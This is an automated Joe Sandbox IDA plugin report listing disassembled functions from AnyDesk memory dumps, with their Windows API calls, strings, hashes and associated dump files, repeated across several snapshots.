Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A5000, based on PE: true

Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: loRQ
API String ID: 2579439406-2279490830
Opcode ID: 6b0e1523395113a4b3e5b345e646f8b07873d8f3684056df7e3eb1e8197b97bf
Instruction ID: 500aaf237c0718dd08ea6281519ccbc949eccdf556fd5b4f213dd767ffb64af4
Opcode Fuzzy Hash: 6b0e1523395113a4b3e5b345e646f8b07873d8f3684056df7e3eb1e8197b97bf
Instruction Fuzzy Hash: 6821AEB5802B04DFD7B2DF2AE184B583BA4BB08384F40105AF509D7389EBB396C18F45

Uniqueness

Uniqueness Score: -1.00%

Function 014BC790 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 01711890: LoadLibraryW.KERNEL32(advapi32.dll), ref: 017118A9
Part of subcall function 01711890: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,01E008B4), ref: 017118C9
Part of subcall function 01711890: _free.LIBCMT ref: 017118F4

GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorW,00000000,01E008B4,016FA0AD), ref: 014BC7B6
GetProcAddress.KERNEL32(012AA2C0,OpenEventLogA,00000000,01E008B4,016FA0AD), ref: 014BC7D0
GetProcAddress.KERNEL32(012E03B0,CloseEventLog,00000000,01E008B4,016FA0AD), ref: 014BC7EA
GetProcAddress.KERNEL32(012BE4A0,ReportEventA,00000000,01E008B4,016FA0AD), ref: 014BC804
GetProcAddress.KERNEL32(014BEA20,CreateProcessWithTokenW,00000000,01E008B4,016FA0AD), ref: 014BC81E

Strings

ReportEventA, xrefs: 014BC7FE
OpenEventLogA, xrefs: 014BC7CA
ConvertStringSecurityDescriptorToSecurityDescriptorW, xrefs: 014BC7B0
CreateProcessWithTokenW, xrefs: 014BC818
CloseEventLog, xrefs: 014BC7E4
advapi32.dll, xrefs: 014BC794

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: AddressProc$ErrorLastLibraryLoad_free
String ID: CloseEventLog$ConvertStringSecurityDescriptorToSecurityDescriptorW$CreateProcessWithTokenW$OpenEventLogA$ReportEventA$advapi32.dll
API String ID: 1327587910-3518705215
Opcode ID: 89785373ad89ba3fefef40df1accc4f5649cad8c986ae7bd9c1c5332d8540168
Instruction ID: 2b10aaf58d8dd27096d7b0cba11a681ca0fe8a21638d4c285852c8f12c190ad8
Opcode Fuzzy Hash: 89785373ad89ba3fefef40df1accc4f5649cad8c986ae7bd9c1c5332d8540168
Instruction Fuzzy Hash: 991127B0B002079BAB509E7E9CC5B97ABEDBF44A91700442BA814E7710E730EC118BB0

Uniqueness

Uniqueness Score: -1.00%

Function 014BC790 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 01711890: LoadLibraryW.KERNEL32(advapi32.dll,00000000,01E008B4,016FA0AD), ref: 017118A9
Part of subcall function 01711890: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,01E008B4), ref: 017118C9
Part of subcall function 01711890: _free.LIBCMT ref: 017118F4

GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorW,00000000,01E008B4,016FA0AD), ref: 014BC7B6
GetProcAddress.KERNEL32(012AA2C0,OpenEventLogA,00000000,01E008B4,016FA0AD), ref: 014BC7D0
GetProcAddress.KERNEL32(012E03B0,CloseEventLog,00000000,01E008B4,016FA0AD), ref: 014BC7EA
GetProcAddress.KERNEL32(012BE4A0,ReportEventA,00000000,01E008B4,016FA0AD), ref: 014BC804
GetProcAddress.KERNEL32(014BEA20,CreateProcessWithTokenW,00000000,01E008B4,016FA0AD), ref: 014BC81E

Strings

ConvertStringSecurityDescriptorToSecurityDescriptorW, xrefs: 014BC7B0
advapi32.dll, xrefs: 014BC794
CreateProcessWithTokenW, xrefs: 014BC818
OpenEventLogA, xrefs: 014BC7CA
ReportEventA, xrefs: 014BC7FE
CloseEventLog, xrefs: 014BC7E4

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A5000, based on PE: true

Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: AddressProc$ErrorLastLibraryLoad_free
String ID: CloseEventLog$ConvertStringSecurityDescriptorToSecurityDescriptorW$CreateProcessWithTokenW$OpenEventLogA$ReportEventA$advapi32.dll
API String ID: 1327587910-3518705215
Opcode ID: 89785373ad89ba3fefef40df1accc4f5649cad8c986ae7bd9c1c5332d8540168
Instruction ID: 2b10aaf58d8dd27096d7b0cba11a681ca0fe8a21638d4c285852c8f12c190ad8
Opcode Fuzzy Hash: 89785373ad89ba3fefef40df1accc4f5649cad8c986ae7bd9c1c5332d8540168
Instruction Fuzzy Hash: 991127B0B002079BAB509E7E9CC5B97ABEDBF44A91700442BA814E7710E730EC118BB0

Uniqueness

Uniqueness Score: -1.00%

Function 016B7970 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32(016B7A68,00000000,?,?,016E607E,?,?,?,0186BCC8,000000FF,0170EE6B), ref: 016B7979
TlsGetValue.KERNEL32(0000001E,?,016B7A68,00000000,?,?,016E607E,?,?,?,0186BCC8,000000FF,0170EE6B), ref: 016B7991
GetLastError.KERNEL32(?,?,016E607E,?,?,?,0186BCC8,000000FF,0170EE6B), ref: 016B799D
_memset.LIBCMT ref: 016B79C9
TlsSetValue.KERNEL32(0000001E,00000000), ref: 016B79D8

Strings

Please contact support@anydesk.com (A), xrefs: 016B7989
Please contact support@anydesk.com (B), xrefs: 016B79A7

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: Value$AllocErrorLast_memset
String ID: Please contact support@anydesk.com (A)$Please contact support@anydesk.com (B)
API String ID: 4091103580-43624127
Opcode ID: 125cceeaa62cf89dc19866b67bd01ad69f0e869bb13a4a8b83e0e9e36fe5684c
Instruction ID: 5ad37bc1a1e2011dad98b1e0693a16f32fb12243df93f5a44c09c75cf61135e6
Opcode Fuzzy Hash: 125cceeaa62cf89dc19866b67bd01ad69f0e869bb13a4a8b83e0e9e36fe5684c
Instruction Fuzzy Hash: C4018C70A01A205BEA727BBDBC4CB9B3A98AF456A5F450111FA05DF3C9C771CD818BD1

Uniqueness

Uniqueness Score: -1.00%

Function 016B7970 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32(016B7A68,00000000,?,?,016E607E,?,?,?,0186BCC8,000000FF,0170EE6B), ref: 016B7979
TlsGetValue.KERNEL32 ref: 016B7991
GetLastError.KERNEL32(?,?,016E607E,?,?,?,0186BCC8,000000FF,0170EE6B), ref: 016B799D
_memset.LIBCMT ref: 016B79C9
TlsSetValue.KERNEL32(0000001E,00000000), ref: 016B79D8

Strings

Please contact support@anydesk.com (B), xrefs: 016B79A7
Please contact support@anydesk.com (A), xrefs: 016B7989

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A5000, based on PE: true

Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: Value$AllocErrorLast_memset
String ID: Please contact support@anydesk.com (A)$Please contact support@anydesk.com (B)
API String ID: 4091103580-43624127
Opcode ID: 125cceeaa62cf89dc19866b67bd01ad69f0e869bb13a4a8b83e0e9e36fe5684c
Instruction ID: 5ad37bc1a1e2011dad98b1e0693a16f32fb12243df93f5a44c09c75cf61135e6
Opcode Fuzzy Hash: 125cceeaa62cf89dc19866b67bd01ad69f0e869bb13a4a8b83e0e9e36fe5684c
Instruction Fuzzy Hash: C4018C70A01A205BEA727BBDBC4CB9B3A98AF456A5F450111FA05DF3C9C771CD818BD1

Uniqueness

Uniqueness Score: -1.00%

Function 018055F1 Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 018055FF

Part of subcall function 0180D493: __mtinitlocknum.LIBCMT ref: 0180D4A9
Part of subcall function 0180D493: __amsg_exit.LIBCMT ref: 0180D4B5
Part of subcall function 0180D493: EnterCriticalSection.KERNEL32(00000000,00000000,?,018084B8,0000000D), ref: 0180D4BD

DecodePointer.KERNEL32(01CFA968,00000020,01805742,00000000,00000001,00000000,?,01805773,000000FF,?,0180D4BA,00000011,00000000,?,018084B8,0000000D), ref: 0180563B
DecodePointer.KERNEL32(?,01805773,000000FF,?,0180D4BA,00000011,00000000,?,018084B8,0000000D), ref: 0180564C

Part of subcall function 018083AE: RtlEncodePointer.NTDLL(00000000,0181727D,01DFFAC8,00000314,00000000,?,?,?,?,?,0180772B,01DFFAC8,Microsoft Visual C++ Runtime Library,00012010), ref: 018083B0

DecodePointer.KERNEL32(-00000004,?,01805773,000000FF,?,0180D4BA,00000011,00000000,?,018084B8,0000000D), ref: 01805672
DecodePointer.KERNEL32(?,01805773,000000FF,?,0180D4BA,00000011,00000000,?,018084B8,0000000D), ref: 01805685
DecodePointer.KERNEL32(?,01805773,000000FF,?,0180D4BA,00000011,00000000,?,018084B8,0000000D), ref: 0180568F

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A5000, based on PE: true

Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 281f15d3728008de7407b092a6fd0b7599f2cf8616169fa663c6ac30a5ee2148
Instruction ID: 362f1cb31c820f476155c1982dff9fdbc59f52f70fae161a32f1d060b6c7bfe1
Opcode Fuzzy Hash: 281f15d3728008de7407b092a6fd0b7599f2cf8616169fa663c6ac30a5ee2148
Instruction Fuzzy Hash: 5A314831D0030EDFEF92AFA9EC8469DBBB5BB48314F14402AD525E6290DB754A44CF35

Uniqueness

Uniqueness Score: -1.00%

Function 01807BB4 Relevance: 9.0, APIs: 6, Instructions: 47COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 01807BC0

Part of subcall function 0180859B: __getptd_noexit.LIBCMT ref: 0180859E
Part of subcall function 0180859B: __amsg_exit.LIBCMT ref: 018085AB

__amsg_exit.LIBCMT ref: 01807BE0
__lock.LIBCMT ref: 01807BF0
InterlockedDecrement.KERNEL32(?), ref: 01807C0D
_free.LIBCMT ref: 01807C20
InterlockedIncrement.KERNEL32(00201758), ref: 01807C38

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 25ffdf84d5b4c10692fa56de1811ea004699dd401d45985fc70b13f6bb8366e2
Instruction ID: f12ca401329eb70d3332edd42636597ad69caa1c55e1309a057937ca879a3e4f
Opcode Fuzzy Hash: 25ffdf84d5b4c10692fa56de1811ea004699dd401d45985fc70b13f6bb8366e2
Instruction Fuzzy Hash: FA018E31D01B1A9BEBA2AF699844B59BBA0BB05B10F14010AE544E77C4C724AB41CFE2

Uniqueness

Uniqueness Score: -1.00%

Function 01807BB4 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 01807BC0

Part of subcall function 0180859B: __getptd_noexit.LIBCMT ref: 0180859E
Part of subcall function 0180859B: __amsg_exit.LIBCMT ref: 018085AB

__amsg_exit.LIBCMT ref: 01807BE0
__lock.LIBCMT ref: 01807BF0
InterlockedDecrement.KERNEL32(?), ref: 01807C0D
_free.LIBCMT ref: 01807C20
InterlockedIncrement.KERNEL32(00201758), ref: 01807C38

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A5000, based on PE: true

Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 92d35892cae952bc9aaa44f0e8a29de82396f7c7873dec63be73ebc678fed10a
Instruction ID: f12ca401329eb70d3332edd42636597ad69caa1c55e1309a057937ca879a3e4f
Opcode Fuzzy Hash: 92d35892cae952bc9aaa44f0e8a29de82396f7c7873dec63be73ebc678fed10a
Instruction Fuzzy Hash: FA018E31D01B1A9BEBA2AF699844B59BBA0BB05B10F14010AE544E77C4C724AB41CFE2

Uniqueness

Uniqueness Score: -1.00%

Function 01808335 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 01808341

Part of subcall function 0180859B: __getptd_noexit.LIBCMT ref: 0180859E
Part of subcall function 0180859B: __amsg_exit.LIBCMT ref: 018085AB

__getptd.LIBCMT ref: 01808358
__amsg_exit.LIBCMT ref: 01808366
__lock.LIBCMT ref: 01808376
__updatetlocinfoEx_nolock.LIBCMT ref: 0180838A

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 7f8a4ac3cc3c06a0ac8589081506a5d758f76468c93beaf437adaaee9c62c843
Instruction ID: 351ff37ddb02728b24394cf6fe1e5d58470708ff5ba0b878964cc1332dc16410
Opcode Fuzzy Hash: 7f8a4ac3cc3c06a0ac8589081506a5d758f76468c93beaf437adaaee9c62c843
Instruction Fuzzy Hash: A3F0F632D41B1DDBE7E3BF6C5C057597790AF01724F024209E145E62D1CB2097808A5B

Uniqueness

Uniqueness Score: -1.00%

Function 01808335 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 01808341

Part of subcall function 0180859B: __getptd_noexit.LIBCMT ref: 0180859E
Part of subcall function 0180859B: __amsg_exit.LIBCMT ref: 018085AB

__getptd.LIBCMT ref: 01808358
__amsg_exit.LIBCMT ref: 01808366
__lock.LIBCMT ref: 01808376
__updatetlocinfoEx_nolock.LIBCMT ref: 0180838A

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A5000, based on PE: true

Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 0e3174771a2b53da0fc1041326ed5858381fdf3f0f16cf3d56d319f68916d563
Instruction ID: 351ff37ddb02728b24394cf6fe1e5d58470708ff5ba0b878964cc1332dc16410
Opcode Fuzzy Hash: 0e3174771a2b53da0fc1041326ed5858381fdf3f0f16cf3d56d319f68916d563
Instruction Fuzzy Hash: A3F0F632D41B1DDBE7E3BF6C5C057597790AF01724F024209E145E62D1CB2097808A5B

Uniqueness

Uniqueness Score: -1.00%

Function 01711890 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(advapi32.dll), ref: 017118A9
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,01E008B4), ref: 017118C9
_free.LIBCMT ref: 017118F4

Part of subcall function 017FEB7B: HeapFree.KERNEL32(00000000,00000000), ref: 017FEB91

Strings

advapi32.dll, xrefs: 017118A8, 017118D0

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: ErrorFreeHeapLastLibraryLoad_free
String ID: advapi32.dll
API String ID: 1383136612-4050573280
Opcode ID: a114e363fe8b18bcbc088d7bb03974d872daee7e1a107c67f633b73c5cd15778
Instruction ID: 649c90ab7ec0cf61e775e34374d0c28cc382ba0628780f6ffe8cb4fbcdd84c72
Opcode Fuzzy Hash: a114e363fe8b18bcbc088d7bb03974d872daee7e1a107c67f633b73c5cd15778
Instruction Fuzzy Hash: 6B0181B5944742AFD711AF2CC948B5BBBE8EF50710F40892DF995C7654DB38C1048B92

Uniqueness

Uniqueness Score: -1.00%

Function 01711890 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(advapi32.dll,00000000,01E008B4,016FA0AD), ref: 017118A9
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,01E008B4), ref: 017118C9
_free.LIBCMT ref: 017118F4

Part of subcall function 017FEB7B: HeapFree.KERNEL32(00000000,00000000), ref: 017FEB91

Strings

advapi32.dll, xrefs: 017118A8, 017118D0

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A5000, based on PE: true

Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: ErrorFreeHeapLastLibraryLoad_free
String ID: advapi32.dll
API String ID: 1383136612-4050573280
